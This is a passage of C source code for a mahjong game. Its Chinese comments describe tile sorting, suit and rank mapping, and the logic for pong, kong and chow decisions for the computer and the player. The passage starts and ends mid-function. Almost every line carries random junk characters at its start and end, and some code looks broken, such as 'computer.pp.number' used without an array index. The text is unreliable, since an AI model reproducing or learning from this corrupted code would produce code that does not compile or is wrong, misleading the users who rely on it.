/ c. ~8 z. S7 Q# ncomputer.pp[j+1].number=u;
) D9 e- D6 f+ ?4 C, K}' |2 ^$ m* g( c: G# u6 \9 Q2 m
}
: c* w& r( O5 A* o' I, B* e}
9 j' @" x3 e; P& o* }) f5 Nvoid melipai()8 L1 |6 @" }* ^' q7 }
{ int n,j,u;
! o( z1 J5 Y  U9 E  A: E. wint *lingshi;
# [* k) C, t$ ?; v$ U5 R8 T9 Kfor(n=0;n&lt;me.m;n++)
# t7 W+ q6 Z8 c: o( Vfor(j=n;j&lt;me.m;j++)
' d: ^* Z9 B! x" Q; @% M% B  ]{' e  y- B8 L' h3 f
if(me.pp[n].number&gt;me.pp[j+1].number)
# S+ G+ ~" ]0 Y{
8 H# e  Q/ u$ g! v* vlingshi=me.pp[n].k;
9 M& ?# x. P/ T1 d; r; F3 tme.pp[n].k=me.pp[j+1].k;' n% ~" e. D9 d2 L7 m! P
me.pp[j+1].k=lingshi;
0 s5 Z3 j- l7 z* a9 ~u=me.pp[n].oneorfour;, F# K+ L( _. h. c! V
me.pp[n].oneorfour=me.pp[j+1].oneorfour;0 t2 m, I' I. _+ d) R! [, v; @7 g
me.pp[j+1].oneorfour=u;( `7 R5 L, T: o) j
u=me.pp[n].number;+ O% N2 B; S7 U8 K! Y- A
me.pp[n].number=me.pp[j+1].number;" ]/ o+ |8 E) ~/ P* H% K$ E2 E% y# m
me.pp[j+1].number=u;6 Z+ _- M# ^4 ~# a6 a, r0 R1 R3 Q
}
; \9 u) t  W4 k# g) xelse' k- t- ]& b9 g0 y2 a6 d
if(me.pp[n].number==me.pp[j+1].number)+ v* a- e8 `4 G. F  x
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)1 ^5 s! z6 D% ]5 b
{
1 f* a; j5 N+ \% h2 clingshi=me.pp[n].k;
3 \/ y6 ~) e3 w  X' ^9 [' A8 Dme.pp[n].k=me.pp[j+1].k;
& }" P# y, u. p( u+ l7 Eme.pp[j+1].k=lingshi;
0 T+ E8 S1 |; b4 P  r* ~u=me.pp[n].oneorfour;* D% s+ g* H2 m
me.pp[n].oneorfour=me.pp[j+1].oneorfour;6 j* g  [5 ?& [0 U$ P# `. l$ R- f
me.pp[j+1].oneorfour=u;
  h0 ]) o6 |8 E& N5 ]u=me.pp[n].number;6 S( i% Q% |. T# m1 k, S
me.pp[n].number=me.pp[j+1].number;# b' u' z6 K/ _
me.pp[j+1].number=u;1 w' W* F: I$ h0 M
}/ ^% t6 j# g4 A; d- X
}, U+ Q" s1 @$ j& |( c. `7 x. o
}
$ P) F- i( ?# U2 x+ D& fvoid rgzn(int c) /*本程序涵数的核心针对电脑的牌*/% L2 a9 w$ ?0 o0 Z0 b$ a/ L8 m  I
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
) s8 Y- v' E6 H9 hif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)! W3 S% N2 \4 z" S* p
{
; X6 V; Z* d" Q' {" X  [logo=1;
8 m8 J' u2 P% ~- m+ eif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
( }5 Q$ X" ~3 o4 J, |* x% W& o* _* ulogoo=1;
/ n- j2 T6 w" y8 velse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)& z, }9 L2 ^/ o6 _
logoo=2;# u% j* P; y9 ]2 Y" X
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)& P' X( K- r( B  v
logoo=3;0 g0 f0 }/ t0 N# F5 ]; Z
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)/ y) E" ~% n6 Y; L2 a0 a% T
logoo=4;
+ L/ i8 L, k: V  delse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
) A9 u: j$ v5 s, Q7 Elogoo=5;0 r9 F" ]3 N0 X$ {/ Z5 g5 {
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
% |5 \4 x1 |0 ?9 J. F- ulogoo=6;
, P+ t( p6 a+ n4 O# k7 S4 felse if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24): }+ _# y! M6 c: s/ a
logoo=7;3 Y, R; Q( N/ I1 |7 k, M
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)) P/ j' `/ b6 ]
logoo=8;
" m2 \1 X# {$ o5 Velse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
2 i% D4 p0 d- \, v' vlogoo=9;
$ y/ [+ A0 V5 M& T! E0 p9 l- f}# d% v5 n& y1 ^& b
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)' ?' ~$ _# V# b6 }+ s
{
$ q: P9 N' o* ~$ ulogo=2;& V; R# u( a0 K  {
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)& W+ b6 v8 S) L( G) u+ C( W: ?6 D5 A
logoo=1;
" P* N; _0 n, {0 M' x5 Celse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)* {) z1 X* t# h1 ^- n
logoo=2;# c+ `5 F' D$ y2 W, {: D1 r
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
" U5 ~8 q. h) y% i1 o% F1 Jlogoo=3;* D/ K4 A" a6 N; i
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
! c3 Q" i# g- ?: V: Plogoo=4;
: G: a9 t6 K2 B$ W: Z7 Y. Z0 Relse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)! ]2 s1 c! [- o. _8 b9 O
logoo=5;! F) G/ z6 C$ M8 s- H* c1 `, K7 A- j
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
/ r0 n( I# Z, K! [& H8 G' @logoo=6;, P: M8 I5 d* i9 R2 x0 A: k
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60), U' y- e+ d  K" f, {
logoo=7;
6 P3 O; \# E" {8 c. v) g7 Jelse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)/ R0 n4 x! e! [" b2 {
logoo=8;9 f7 f6 K# z: O" m7 a1 a4 u
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
! i$ K& h9 t7 ^* C0 M4 `logoo=9;
( N% a& f2 \. H$ H5 A, k}
4 Q: T- _% `5 T$ pelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
: p6 k( S& |) Q5 M' o{3 @$ [; H7 e2 I6 H% _, c7 B  N; x
logo=3;
! }9 k& w4 P6 ]; O8 T( Kif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
' |" A5 J6 o2 vlogoo=1;
; I% G5 Y6 c8 Y& V0 Welse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
3 j6 p% C6 z. F  l7 U1 ^$ i* [% }logoo=2;! x! H! C* U, P/ V( i0 ]( i
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
6 A( _1 N* D4 D; e* X& w6 qlogoo=3;
: e7 E4 ^+ K! S: \; eelse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
1 `# k9 l5 }7 y# y0 B1 F  S$ K. _logoo=4;
7 d! H$ A/ N" F4 s$ b3 }5 \! oelse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
  M/ ?6 W! Z9 L' M' ]  blogoo=5;; C/ O: `7 C& j6 M
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)/ U3 p. T$ C- G: ?- {3 m( ~( B3 a
logoo=6;. K% M' j+ ~' O. n! w
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)  `3 f$ ]/ ~% h$ f7 g, w7 q
logoo=7;
: D5 V$ X, G  P. Kelse if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)) i) Z6 f/ N+ f$ f! X& ^) r9 E, o6 O
logoo=8;
$ j6 \+ l5 D* t: j5 \$ d' K8 Z4 X/ celse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)0 Q8 Y* S0 z( L: X) [5 N/ _  C. \
logoo=9;
8 c' |8 ]9 i$ n: H- j7 V; V}
* F! v6 i# @0 A' T- f3 m) telse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)) M; h- v1 I* M$ a, w
{  L' P* D3 M9 c. t1 H
logo=4;
. j4 r6 O) A" l) p- Nif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108); v4 a5 U2 E9 J* F( d/ o
logoo=1;$ ?3 Y# H! [/ Q3 Z3 b; s9 N
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)0 o/ H6 u8 s! {$ w( Y2 A
logoo=2;
" Q( u) j! n* R* o5 S' delse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
+ |! x. U: S. c" t  x" \logoo=3;; a# V7 q; ?5 Z% `
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
9 U$ R" ]$ K# Q3 ?+ s2 hlogoo=4;
5 k' G) X+ C9 \! o  k2 Lelse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)& o% Y% H" o) V
logoo=5;( G+ O) Z) B; p# \- A# a; L1 k
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
2 R+ j+ q* N& K% U+ Qlogoo=6;
3 i/ G# i+ [8 ]else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)' t0 M1 u; C, t
logoo=7;- u- b3 K4 Q7 ]$ p0 I( j! J5 N4 r
}% u! u4 j# Z# m5 U; a
while(b&lt;=computer.m)
, c1 d% {0 O) f8 k% v{  C- B' v9 z2 S$ D( Q9 b
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/# ?- F+ W9 N7 S2 b4 B8 X
{
  i1 g" \/ W% K& wlg=1;3 y4 a# @7 u6 [% M2 M
computer.pp.d[0]=1;) |' o% B  _! s6 i$ Q) o5 a
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
( T3 l! b9 h/ g$ \{" C6 W+ x. B/ F% C' ?' ^
lgg=1;
6 w) ~5 I6 S- u$ o8 ?computer.pp.d[1]=1;
9 o; }4 \7 ?/ e% Y$ L2 K}9 \$ d) J* W& ^* E1 h; w1 `
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
6 ~  ~( @7 C# R6 Z{1 f- p$ m8 F+ h9 B% q4 s  z
lgg=2;
% W+ z. S: Z' ~1 P" L( _computer.pp.d[1]=2;
% R8 v  O) G3 L}
( J1 b( _; m7 N/ ~: p% F5 P% g! Eelse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
, o$ e. O) C% O; O" |{
$ {6 V5 i6 O0 t+ g& Q& d/ Ulgg=3;& i: O, j4 P; \- j6 u3 H& B) X
computer.pp.d[1]=3;& ?: `7 @) E" m% z- e$ k5 c7 W' n& r
}
+ ~$ n: R: L" z1 S3 L8 Eelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
5 E' a; o1 E4 W+ a) X  K{* O6 B+ i7 M) c7 G6 F9 R0 o( x
lgg=4;7 X0 H2 @; w/ R7 N) K3 l& U" H+ ^
computer.pp.d[1]=4;
% w, {: o/ g: {) B}7 \# o% r4 v  F  g' S- ^
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
7 I+ W/ \3 b: E1 C{) s' n3 ?% u4 X
lgg=5;
# f( c+ o! x7 h% t0 z# Icomputer.pp.d[1]=5;' H+ D. b8 v+ \5 c  H6 X6 L4 [
}% b" {4 |  f7 ?) {- i1 X
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)) k' D: A4 J0 F, [
{
# b8 s1 a4 Q) R8 elgg=6;/ A# s- ^6 ^. k0 N
computer.pp.d[1]=6;$ \; m0 |. z9 p+ o0 W7 F
}1 |" A  A( l; i4 W- _7 Q' [
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)# y: b3 F: Z: N+ i5 }
{" g" a* g& |( u4 ?- D5 T( l8 y8 i. H4 k
lgg=7;5 b1 T" @  ]& Y
computer.pp.d[1]=7;
2 F1 q6 }3 z9 I$ E0 g$ R" i}+ P7 g. y) W. w  o
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
7 W6 s- K$ `$ w& M/ @{
) Z1 \$ P$ o" M; b. t- klgg=8;+ W+ P& m: T- {8 ~7 y: i5 {, d
computer.pp.d[1]=8;- B- K" K) z6 W3 `) `) J
}
2 [3 ]1 @# I2 b. |$ o0 L% Qelse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
6 h- s/ T3 x, h" p1 m, I9 x: H{' P: P0 e( {, U5 |7 m7 D( ^: z/ R  w
lgg=9;8 s+ W) x( L* J- K5 T3 V' L
computer.pp.d[1]=9;* R8 m: S' L. b0 {
}7 |) t; w& r7 m2 I1 S7 ?1 M
}
9 z! o: g7 q$ Helse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)4 l- T# @: B0 l! U( [
{( i; U8 o4 F4 m2 j* {
lg=2;
4 e- H0 H# M1 ?' |computer.pp.d[0]=2;1 ~0 `+ W0 p* r" q
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
' N/ j  P$ q& |' b6 y% \1 b1 h{# w* t. _9 m% N* y
lgg=1;% E6 R  U, \! `5 p" X
computer.pp.d[1]=1;9 c" M# V8 ?6 |
}
, k, [2 _  T3 y. J8 r+ v  helse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40). U3 h6 Y( ~# y4 G
{  b& R. {1 q; l; {2 S. R  I  f
lgg=2;5 L$ ^% y* C5 F
computer.pp.d[1]=2;4 B2 T! J+ h" p4 a0 N. |
}
8 J7 |5 {8 H( L2 gelse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)( y. ~+ K4 {# _& u+ T6 J
{
3 N: s& i( U1 [$ H3 M$ u( Qlgg=3;
7 g  d4 x* [0 |. |computer.pp.d[1]=3;8 {& d+ G# o# i' ~
}
0 L/ i2 j0 ~/ t; l! l  L6 P" k  k$ P& k8 }else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
( r! U6 ?- u/ ?- r: H4 v{) i; B6 e$ {: j
lgg=4;6 q# I5 M- [# s# {
computer.pp.d[1]=4;
; h$ I& Z+ V5 z' q1 @( J' [& M! h}& g9 Z+ C1 R8 o+ v( y7 T
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
7 ]+ Z8 i+ Z7 b: J/ B: N' r1 ^/ E{
- I( v3 ^, ], q. m( Z4 ?lgg=5;
3 Y4 A0 n: t- b8 Lcomputer.pp.d[1]=5;
$ r( A! }; d' [: }% d}
2 R$ J* W# j2 \9 l9 R% j% pelse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
; L) k* y' R3 g3 n' w& i: W{& n- l; o. G. {+ A
lgg=6;
9 o& j( h4 w4 }# |computer.pp.d[1]=6;" H) _& T+ f# h; `
}
# c  G" a2 q; _' D  Telse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
1 w  h+ b: p6 w; A2 \% R3 v{
: G4 K2 S+ H' @" ilgg=7;' `- z# L+ z/ ?* v+ g
computer.pp.d[1]=7;3 d, e; G3 k% h, c& ?
}
  R& U8 j& b1 \& v+ _else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
# ]  U3 V1 \* ~0 U! q$ K{9 S. N3 o3 ]. u+ }+ B9 K/ V+ U( e6 |
lgg=8;
$ V0 s/ U8 g, T* ccomputer.pp.d[1]=8;- C3 K' N5 g  q
}
  t0 f, j; r- O, Uelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
9 e& [: T0 d6 e) x% \2 o1 ]1 r{
, f) H* d: R: s3 A+ Q0 g% ?& Flgg=9;8 [$ h8 b" R( r, _  s0 E2 _
computer.pp.d[1]=9;
. e! u  o1 z# f7 w: E4 e! k}
. a7 p4 h% }* L' R}
$ n0 M. }8 i6 N. Z* xelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72): Y1 I, z9 W8 R' Q4 I! D
{- X+ ~- n0 N) W: `
lg=3;% t! A: c0 z' L% F" ^; ?
computer.pp.d[0]=3;
2 g5 [5 k. C" e2 G, x1 cif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
; K0 \4 P+ P* Z# w& P' Q{
, \6 C' h* Y% h% c  R6 Blgg=1;
  M# r! i; r' ^% ]; P! c6 rcomputer.pp.d[1]=1;. D$ q3 ~1 A) _0 @/ `9 E
}) w  n% h9 {% ]  g6 y3 |  H
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
# u$ I/ C# |4 f1 @0 G{
/ w0 q7 R/ I* q2 y9 t% Slgg=2;+ L9 z8 V- n! v( t% L! ~/ _
computer.pp.d[1]=2;" d/ [1 m; p# O
}) g. g# ~2 l1 u( |, c
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
1 E, e$ d( K* E' s- P% p5 c/ X{
* _" b# Z1 a- O8 Vlgg=3;
5 g1 ~8 E: @, [; {5 hcomputer.pp.d[1]=3;
0 ]$ p' I- L3 w0 M; E}9 K, Z4 ]; I3 u+ p) ~- a
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)( S+ [+ U" [6 S3 X2 B4 \" Q, V
{
2 @) t0 S3 h1 w' Llgg=4;# z) p: u2 v2 ?1 t, ]! A9 v
computer.pp.d[1]=4;4 P- s1 \: |1 |0 r0 `$ R
}
. H& j8 v5 M. J& ^# B  x1 helse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)+ G6 ^6 J8 w: _! ~3 O# q
{
# I$ j, ]9 j' y0 ^! \lgg=5;
: C9 }6 ~0 |5 e2 ~( z5 R, Scomputer.pp.d[1]=5;
( n' A7 L' n% |4 O, H( q! V}6 l/ E8 r( k! h2 B
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)% c* [' w+ D& Y% B: Q5 R
{
' p: f( V$ \% F6 `" Z& J5 B$ mlgg=6;- q6 q; n  R; K8 u  w9 K6 k
computer.pp.d[1]=6;/ B8 H6 o$ P' U
}
& h" B; D( z! a0 m! G: h4 \6 Felse if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
# i* i; i* t; V/ n+ h6 Z# I{" W' B; l' ^/ l8 Q
lgg=7;. @2 f6 J5 E+ C( I5 @) R, W
computer.pp.d[1]=7;
5 Z4 v3 h; |! t; R7 z}
) F. d$ l, b* j+ k8 g- Nelse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)) |# _# X) F& @5 r* l
{
. a3 y1 m. R' y6 zlgg=8;
5 v! O% f0 n5 s  _! z% Pcomputer.pp.d[1]=8;/ T: X, D+ a! c+ Z
}
5 Y" c6 b' K. X  V3 J; Welse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
( ]  ]. g. q' M$ j% x8 G{
' j9 i3 |$ R, E1 l. Glgg=9;
0 T& Z, G5 o" ^/ T0 r, K* Qcomputer.pp.d[1]=9;$ w" l- e4 N1 B; ]/ v% U% Z
}/ ~2 |8 A, e* f" h# e
}
8 D  m7 A% A# Q& V& Zelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
! P* k4 [0 x8 C7 `{% O& C+ o, `3 ~$ _% v& O
lg=4;$ [* I2 x' g% K! e3 W% X0 Y* \
computer.pp.d[0]=4;2 _4 R: q' v1 v$ K$ ~1 u# c
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)3 r2 J3 }$ x. I4 g$ x
{3 O. [$ g* S! [  I' C- H3 i* j
lgg=1;5 x  f1 `6 `* }  w& `
computer.pp.d[1]=1;  o2 ~( y6 Y8 o) n$ F6 }6 }, S
}
2 O  q5 ^$ U2 H6 h3 ]# Pelse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
5 q, a" }  h9 ?! q" L! d4 T! O1 ^{3 {) R4 \1 R: i' a" L- o  \4 `
lgg=2;" V" `& t/ {" y! U4 g
computer.pp.d[1]=2;9 B- M8 Y( g. {# Y7 e' Q
}
' Z. P$ W0 i# M$ I5 felse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
' M4 I9 W% z1 l{
; k+ R. P9 m5 g2 klgg=3;: f' m1 V. I3 i' e
computer.pp.d[1]=3;( _7 I! L7 J+ L1 ?# u& d; Q
}
; H( T, D% a7 N6 U; melse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
3 o. h- }1 E% u/ Y{5 C. [6 C2 T- F" ~& L
lgg=4;
; t5 ~* L9 n- ?" m) M2 o2 Q8 Ncomputer.pp.d[1]=4;1 i% N/ H$ a  r  _$ l0 N
}5 T% n: X% W$ t, F
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
) h: I. p1 U" ^7 H{. ]% ^4 n: q& t0 L4 X
lgg=5;
5 ^5 }! |/ X2 }& e1 pcomputer.pp.d[1]=5;; P) c8 p- V$ {$ j2 t
}' n; _  C" U; H& A' T5 s  e# G+ l
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128), j) L, o, B! ?1 s2 B
{# G4 r4 T  l% j8 r* i
lgg=6;2 E1 @8 W& z* H4 W
computer.pp.d[1]=6;/ s- t) A% X# m  k+ j# A
}9 }7 r- i' y8 _( d0 J( S+ H
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)8 A# e, C- V# |+ a: b3 u9 J
{' T: a$ v' [  L" Z+ R" l
lgg=7;6 V) q# A) J( h6 v1 J7 N1 P/ K; R
computer.pp.d[1]=7;
/ n* [% `) f2 v) L, b1 _# j}6 y6 O4 O# H. q5 i) M5 |
}# d( _( O  o$ O, ?! x) @  _5 u+ ^
  L: n7 |9 g( k8 Y* H  b- e' a5 ^) E
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/1 [3 K1 R5 e* `! h
if(logoo==lgg)) Q7 n, R! B  o) w% h  o& i3 D: c
pg++;& d" T5 w! E0 h1 c4 t8 Y* H
ch.lg=lg; /*保存电脑手里的每张牌的信息*// \6 B: |$ p/ J# ?9 j  n# v5 |6 c" {
ch.lgg=lgg;
. K0 y" I8 V' T: Z1 N7 L) [0 _lg=0;
" o, x9 V0 z8 n/ c8 H7 ]lgg=0;
7 n& R; C0 a; m# }( Vb++;$ {* I- b: E3 z  i
}
7 u$ {- |1 J9 e) K) Uif(pg==2) /*乓*/$ ]  H' C- B- `" d9 Q: J+ z# v( e
{* _+ G+ f" o4 F. B7 m# i4 p

/ \) `& c: b2 A/ l7 Jsing=1;
: ?! {5 Y, F* w& l; v* Wb=computer.m;
' B0 u5 ?+ q  M% pwhile(b!=-1)  \8 r/ w7 }$ e$ F" g" m! L
{
" }' d7 ~/ S" e# G: cif(strcmp(me.pp[c].k,computer.pp.k)==0)
( D% p; W6 k% J1 G/ mcomputer.pp.p=1;4 ~! S1 ^9 ^8 W; U7 o8 ^- J. t

8 p3 Z, O" }# D! Q; O0 S6 c; ib--;$ O+ {) ~- V8 v* e2 b3 U
}0 [/ @( x1 u. n  y. l
}1 x2 @5 |% \5 o
if(pg==3) /*杠*/# S2 V1 a9 @! e8 t9 Q* ?
{
2 }, E: Z% f, Z2 t, i3 F
1 q4 Q4 L, m; `0 ^sing=2;# k0 K3 ^* F" H; B) Y1 |5 O4 G
b=computer.m;
7 M5 `+ [. X$ c2 p$ r) U* dwhile(b!=-1)- r! M9 `+ k8 ?" d' ~" u
{' w/ C4 E2 p) C7 i& [
if(strcmp(me.pp[c].k,computer.pp.k)==0)
/ Q  b2 u: I# c8 N3 W) V; v, @6 u+ U/ gcomputer.pp.g=1;
7 f% q" a" Y1 yb--;$ y' y7 @6 X" M! Q( ^  }9 }
}* Q. U) {% f; L0 G! m
}; S/ }, A5 S+ A  |" i6 Q9 J6 ]1 m
f=0;0 J: H" Q/ w  y( n( w$ P1 [
while(f&lt;computer.m) /*吃的判断*/
$ F5 F' v7 Q% m9 T: k# H: M{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)" N2 L; [+ V8 u, H: f/ g
{% a( H9 u* D+ |# c
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/; i( b8 \8 w1 H3 P/ A
if(ch[f].lgg-logoo==1)" v: l- ]8 x/ e  d# L1 a( C
{
2 p- h/ s. p3 n5 d* J0 ]gp++;
3 K/ k# u+ t% P8 O; scomputer.pp[f].c=1;, p: C' a, a; q6 X
computer.pp[f+1].c=1;
+ R! x$ V' m  J+ R$ }}4 O2 m+ ~7 L- M0 X1 W
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/5 _% `! u  s) L/ P% G
if(ch[f+1].lgg-logoo==-1)( e( X9 P1 C8 z! K& ~5 _
{
  a  O3 o8 ?; x: Q. ggp++;
+ f1 p0 [/ O; F2 V9 Ycomputer.pp[f].c=1;2 p. `1 U# \% _- N3 v
computer.pp[f+1].c=1;  q- W0 Y! B- u/ N' w5 I4 E
}
4 V: w2 ?7 I/ W8 C- O: B& zif(ch[f].lgg-logoo==-1) /*中吃*/
4 d% D' z/ q' R6 L- R: q7 p0 H2 pif(ch[f+1].lgg-logoo==1)" f! t; I" f- L* e
{
' y' D" _: P' C* G" F6 Q5 @2 \4 Mgp++;! D! J/ c6 s4 g3 A" X
computer.pp[f].c=1;
( U4 `! T& l$ _" ?( scomputer.pp[f+1].c=1;
1 j5 d* a( ^6 J! [+ O3 a: |}  s! V9 |! Y2 Q
if(gp==1)
4 L. z! W& [* {$ ibreak;( L, S$ C8 P$ E/ K- z
}. l! c/ p0 S5 B4 y( e
f++;; F! _1 C( S( X3 `/ z
}7 W- o3 M4 M. B
if(gp==1)( E5 t, T! ]9 r! o
{sing=7;* J" g% |+ `- t

0 p$ [/ r0 p6 o, c' b4 D6 w8 {}
! y3 t6 }+ A+ f3 Q+ Z- apg=0;
4 ^9 o1 ~0 h. F: @& F* dgp=0;
* j! n; z4 f( L4 ~8 i# v# lb=0;6 z* a) M0 C  P# P2 @/ K
}
, F8 U2 ~& A2 `- Y6 e0 r& v* evoid rgznme(int c) /*本程序涵数的核心针对我的牌*/8 o' v- |+ Z; t/ i" f  M
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;. K' h& x* P) l" h) }1 D
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0), h% m% _3 ~& o+ X: V" O' \; t8 w
{
' {8 o2 P( U8 W2 W4 P& mlogo=1;1 m! ^4 S! G8 q' o) ^$ A6 i
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)4 u2 r' u9 U5 v- m& h& [% v' O2 D
logoo=1;
$ \, g6 Q. J$ r1 z6 Jelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
- c8 R! F9 ~* O5 ?' a( Y+ j5 jlogoo=2;3 d& v  V* b7 K! J4 S
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)2 i5 i4 [' V5 V2 ^0 S' V+ F
logoo=3;
7 l+ a2 p4 x- h9 Pelse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
9 U- y" S' Y6 X! F9 alogoo=4;8 g; i2 Y2 v( M- {- y, }! E' O
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)( j3 q: v0 Y( V; r9 S& B% E9 @' k
logoo=5;, G6 \% W0 a3 S$ k
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)) Z( M4 V6 p3 H& x8 Z2 g) K6 C
logoo=6;
$ f/ K, e+ @: A6 k7 m$ S. {% [* W" @else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)1 `( D* m+ U: M9 C+ z) e
logoo=7;
1 R0 M. A, S3 j8 x. F4 eelse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
. b( H! L9 j( q) Z! Q& clogoo=8;
7 k5 z$ P8 n* m- N( I( j# C$ e/ |else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
! s5 Z6 i+ v! I; B9 [logoo=9;: P- y/ R/ b% |3 W7 O+ a/ L
}7 h. a# a( L1 e& S8 M& @
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
, f6 B2 x6 _# [, S, {{+ h2 ^) X. V8 p2 O/ R6 A$ D: Y, t
logo=2;
1 W* c+ i) E+ Lif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)$ }7 Q( a( s0 Z2 x2 x
logoo=1;$ h# J7 W8 q3 ]+ V6 I, b. V' I. x
